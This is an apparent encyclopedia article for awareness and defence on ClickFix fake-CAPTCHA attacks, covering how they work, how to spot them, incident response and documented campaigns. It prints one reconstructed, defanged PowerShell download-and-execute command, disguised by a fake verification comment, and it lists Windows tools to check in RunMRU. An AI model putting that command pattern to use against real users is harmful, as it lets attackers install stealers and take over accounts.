--- id: CP-011 slug: clickfix-fake-captchas lang: en title: ClickFix and fake CAPTCHAs description: A fake "I'm not a robot" check gets you to paste a command into Windows+R. How ClickFix works, how to spot it and what to do if you ran it. canonical_url: https://startbrain.io/cyberpedia/en/articles/clickfix-fake-captchas/ markdown_url: https://startbrain.io/cyberpedia/en/articles/clickfix-fake-captchas.md publisher: Brain (https://startbrain.io) license: CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/) cite_as: Brain, "ClickFix and fake CAPTCHAs", Cyberpedia, 2026. https://startbrain.io/cyberpedia/en/articles/clickfix-fake-captchas/ (CC BY 4.0) wing: 1 theme: detect_phishing reflex: cr-001 schema: G1 updated: "2026-10-26" translations: en: https://startbrain.io/cyberpedia/en/articles/clickfix-fake-captchas/ fr: https://startbrain.io/cyberpedia/fr/articles/clickfix-faux-captchas/ de: https://startbrain.io/cyberpedia/de/articles/clickfix-gefaelschte-captchas/ es: https://startbrain.io/cyberpedia/es/articles/clickfix-captchas-falsos/ sources: - "n": 1 title: "User Execution: Malicious Copy and Paste (T1204.004)" publisher: MITRE ATT&CK url: https://attack.mitre.org/techniques/T1204/004/ published: "2025-03-18" accessed: "2026-10-26" - "n": 2 title: "From Clipboard to Compromise: A PowerShell Self-Pwn" publisher: Proofpoint url: https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn published: "2024-06-17" accessed: "2026-10-26" - "n": 3 title: Cyber Threat Overview 2025 publisher: ANSSI (French National Cybersecurity Agency) url: https://cert.cyber.gouv.fr/uploads/CERTFR-2026-CTI-003.pdf published: "2026-05-13" accessed: "2026-10-26" - "n": 4 title: ESET Threat Report H1 2025 publisher: ESET (WeLiveSecurity) url: https://www.welivesecurity.com/en/eset-research/eset-threat-report-h1-2025/ published: "2025-06-26" accessed: "2026-10-26" - "n": 5 title: COLDRIVER Using New Malware To Steal Documents From Western Targets and NGOs publisher: Google Threat Intelligence Group url: https://cloud.google.com/blog/topics/threat-intelligence/coldriver-steal-documents-western-targets-ngos published: "2025-05-07" accessed: "2026-10-26" - "n": 6 title: "Think before you Click(Fix): Analyzing the ClickFix social engineering technique" publisher: Microsoft Threat Intelligence url: https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/ published: "2025-08-21" accessed: "2026-10-26" - "n": 7 title: "Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape" publisher: Proofpoint url: https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape published: "2024-11-18" accessed: "2026-10-26" - "n": 8 title: Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations publisher: CISA and FBI url: https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-141b published: "2025-05-21" accessed: "2026-10-26" - "n": 9 title: Phishing campaign impersonates Booking.com, delivers a suite of credential-stealing malware publisher: Microsoft Threat Intelligence url: https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware/ published: "2025-03-13" accessed: "2026-10-26" - "n": 10 title: "Rançongiciel ou ransomware : que faire si votre organisation est victime d'une attaque ?" publisher: Cybermalveillance.gouv.fr url: https://www.cybermalveillance.gouv.fr/tous-nos-contenus/fiches-reflexes/rancongiciels-ransomwares published: "2025-06-03" accessed: "2026-10-26" --- # ClickFix and fake CAPTCHAs ClickFix is a social engineering technique that gets victims to install malware themselves. A web page or an email attachment shows a fake error or a fake "I'm not a robot" check, followed by a few instructions: open a Windows command box, paste, press Enter. The page has already slipped a command onto the clipboard, and that is what the victim runs without ever reading it [1]. Proofpoint saw the method as early as March 2024. The name comes from a series of fake browser update alerts, spotted in mid-April 2024, that researchers dubbed ClickFix [2]. Since autumn 2024, cybercriminals have been leaning on it more and more, according to France's cybersecurity agency ANSSI [3]. ESET measured a rise of over 500% between the second half of 2024 and the first half of 2025, which made ClickFix the second most common attack vector after phishing in its telemetry [4]. ## In 30 seconds - Where it happens: on web pages, often well-known sites that have been hacked, and in email attachments made to look like Word documents. - What the attacker wants: for you to run a command yourself that installs a password stealer or a remote access tool on your computer. - The reflex: no genuine check will ever ask you to paste something into the Run box, PowerShell or Terminal. If a page asks you to, close it. - If it already happened: unplug the network cable or turn off Wi-Fi, leave the computer on and call your IT support straight away. ## Straight answers ### Can a real CAPTCHA ask me to press Windows+R? No. A CAPTCHA is solved inside the page: you tick a box, pick some images, or sometimes do nothing at all. Google advises caution with any site that asks you to leave the browser and run commands on your device [5]. ### I pasted the command but didn't press Enter. Am I infected? It depends on the window. In the Run box, nothing runs until you press Enter [2], so close it without confirming. In PowerShell or Terminal, a paste can run on its own. In the PowerShell console, a single right-click pastes the command and runs it [2], and Microsoft advises setting up Windows Terminal to warn users when pasted text contains multiple lines [6]. Either way, tell your IT support: your computer may be affected, and the page that asked you to do this is still booby-trapped for your colleagues. ### Why doesn't my antivirus always stop it? Because you are the one running the command, with a tool that ships with Windows, and there is no file to scan at the start. Proofpoint notes that antivirus software and endpoint detection tools struggle to inspect clipboard content, so the booby-trapped page has to be blocked before it is shown [2]. Microsoft says a ClickFix campaign can get past conventional, automated security solutions this way [6]. ## Inside the attacker's head An executable sent by email or downloaded from the web goes through several checks before it can open. ClickFix sidesteps them by handing the dangerous step to the victim: there is no file anymore, only a line of text to paste [1]. Setting up a campaign takes little skill. In mid-September 2024, a researcher published an open source fake reCAPTCHA kit on GitHub "for educational purposes", and Proofpoint spotted it in malicious emails a few days later [7]. Since late 2024, Microsoft has seen sellers on hacker forums offering ClickFix builders, nicknamed "Win + R", with landing pages that mimic Cloudflare among others. A subscription costs between 200 and 1,500 US dollars a month. Single parts, such as the source code, the landing page or the command line, go for 200 to 500 dollars [6]. Clicking "verify" runs a script that copies the command to the clipboard in the background [6]. The command often ends with a fake confirmation text along the lines of "I am not a robot: CAPTCHA Verification UID" [6]. Proofpoint explains what that fake message at the end of the command is for: once the command is pasted into the Run box, the victim doesn't see the actual malicious command [7]. The box takes no more than 259 characters [6], and the pasted command usually just downloads the next stage from a server. PowerShell remains the Windows tool most often used for this [6]. ```text What the page puts on the clipboard (reconstructed example, address defanged): powershell -w h -c "iwr hxxps://example[.]invalid/v | iex" # I am not a robot: CAPTCHA Verification UID: 4821 What the victim may see in the Run box (illustration): the fake message, not the command. ...ex" # I am not a robot: CAPTCHA Verification UID: 4821 ``` ## What you see on screen The typical version: a fake CAPTCHA appears before the page you wanted, often styled after Google's reCAPTCHA or Cloudflare's Turnstile [6]. You click it, and it gives you instructions: open the Run box with the Windows key and R, paste with Ctrl+V, then press Enter. This is the scenario CISA and the FBI described in their May 2025 advisory on the LummaC2 data stealer [8]. The setting changes with the target. In March 2024, some emails carried an attachment that looked like a Word document, with the error message "'Word Online' extension is not installed" and two buttons, "How to fix" and "Auto-fix" [2]. From December 2024, a campaign went after hotel staff by impersonating Booking.com, placing a fake CAPTCHA over a faint copy of a Booking.com page [9]. Don't trust the look of the page, which can imitate Cloudflare, Google or Booking.com convincingly. What should stop you is the instruction itself: a web page is asking you to leave the browser and paste something into a system window. In the Brain programme, this ties in with the reflex "Identify manipulation signals in the email body". Here the manipulation signal is the set of instructions, whether it arrives by email or on a web page. If you did run the command, act within minutes. Unplug the network cable or turn off Wi-Fi, but don't shut the computer down: in its ransomware guidance, France's Cybermalveillance.gouv.fr points out that shutting down risks erasing evidence held in memory that investigators need [10]. Call your IT support or security team and tell them which accounts were open on that computer. LummaC2, one of the programs installed this way, takes financial credentials, cryptocurrency wallets, browser extensions and multi-factor authentication details [8], so those accounts need protecting first. In France, organisations without an IT department can follow the assistance path on 17cyber.gouv.fr [10]. ## Under the hood The Run box belongs to Windows Explorer (explorer.exe), a component the system trusts [6]. Every command launched successfully from it leaves a trace in the RunMRU registry key, which keeps a history of what was typed there. Microsoft advises investigators to look there for calls to powershell, mshta, rundll32, wscript, curl or wget, Windows tools that can download or run code [6]. The article on command interpreter execution covers the wider role of PowerShell in attacks. Microsoft recommends disabling the Run box through Group Policy for people who don't need it, turning on PowerShell script block logging and restricting which applications may run [6]. Google suggests that companies stop users from running scripts by default [5]. CISA recommends application allowlisting and separate accounts for administration [8]. The technique is no longer limited to Windows. In June 2025, a ClickFix campaign targeted macOS users to install Atomic macOS Stealer [6], and ESET describes it as a threat to Windows, Linux and macOS [4]. ## Case files ### March 2024: TA571 and ClearFake On 1 March 2024, TA571, a spam distributor, sent more than 100,000 messages to thousands of organisations with the fake Word page described above. In its spring campaigns, the command installed DarkGate, Matanbuchus or NetSupport [2]. From early April, the ClearFake campaign injected fake alerts into hacked legitimate websites. Proofpoint describes a chain in which a single PowerShell script could run five malware families, including the data stealer Lumma Stealer [2]. ### September 2024: fake GitHub alerts On 18 September 2024, attackers commented on or opened issues in GitHub repositories. The notifications GitHub then emailed to developers posed as a security warning and led to a fake GitHub site with a fake reCAPTCHA. The command installed Lumma Stealer, and Proofpoint counted at least 300 organisations affected [7]. ### December 2024: hotels in the crosshairs Microsoft tracks the Booking.com campaign as Storm-1865. It targeted hospitality staff in North America, Oceania, Asia and Europe, and installed XWorm, Lumma Stealer, VenomRAT, AsyncRAT, Danabot and NetSupport RAT among others [9]. ### 2025: intelligence services join in Google identified LOSTKEYS, a program that steals files, and attributes it to COLDRIVER, also known as Callisto or Star Blizzard. LOSTKEYS, observed in January, March and April 2025, is delivered at the end of a chain that starts with a fake CAPTCHA: the page copies a PowerShell command and asks the user to run it from the Run box. Recent targets of the group include current and former advisers to Western governments, journalists and NGOs [5]. According to ANSSI, Callisto operators reportedly also used the technique in September 2025, in campaigns targeting members of civil society in Russia and NGOs involved in Ukraine. The agency adds that at least one ClickFix campaign was reported to it [3]. ## Sources 1. MITRE ATT&CK, "User Execution: Malicious Copy and Paste (T1204.004)", 18 March 2025. https://attack.mitre.org/techniques/T1204/004/ (accessed 26 October 2026) 2. Proofpoint, "From Clipboard to Compromise: A PowerShell Self-Pwn", 17 June 2024. https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn (accessed 26 October 2026) 3. ANSSI (French National Cybersecurity Agency), "Cyber Threat Overview 2025", 13 May 2026. https://cert.cyber.gouv.fr/uploads/CERTFR-2026-CTI-003.pdf (accessed 26 October 2026) 4. ESET (WeLiveSecurity), "ESET Threat Report H1 2025", 26 June 2025. https://www.welivesecurity.com/en/eset-research/eset-threat-report-h1-2025/ (accessed 26 October 2026) 5. Google Threat Intelligence Group, "COLDRIVER Using New Malware To Steal Documents From Western Targets and NGOs", 7 May 2025. https://cloud.google.com/blog/topics/threat-intelligence/coldriver-steal-documents-western-targets-ngos (accessed 26 October 2026) 6. Microsoft Threat Intelligence, "Think before you Click(Fix): Analyzing the ClickFix social engineering technique", 21 August 2025. https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/ (accessed 26 October 2026) 7. Proofpoint, "Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape", 18 November 2024. https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape (accessed 26 October 2026) 8. CISA and FBI, "Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations", 21 May 2025. https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-141b (accessed 26 October 2026) 9. Microsoft Threat Intelligence, "Phishing campaign impersonates Booking.com, delivers a suite of credential-stealing malware", 13 March 2025. https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware/ (accessed 26 October 2026) 10. Cybermalveillance.gouv.fr, "Rançongiciel ou ransomware : que faire si votre organisation est victime d'une attaque ?", 3 June 2025. https://www.cybermalveillance.gouv.fr/tous-nos-contenus/fiches-reflexes/rancongiciels-ransomwares (accessed 26 October 2026) --- Original source: Cyberpedia, the public cybersecurity and AI encyclopedia published by Brain. Canonical version: https://startbrain.io/cyberpedia/en/articles/clickfix-fake-captchas/ You may reuse this text freely under the CC BY 4.0 license (https://creativecommons.org/licenses/by/4.0/), provided you credit "Brain, Cyberpedia" with a link to the canonical URL above.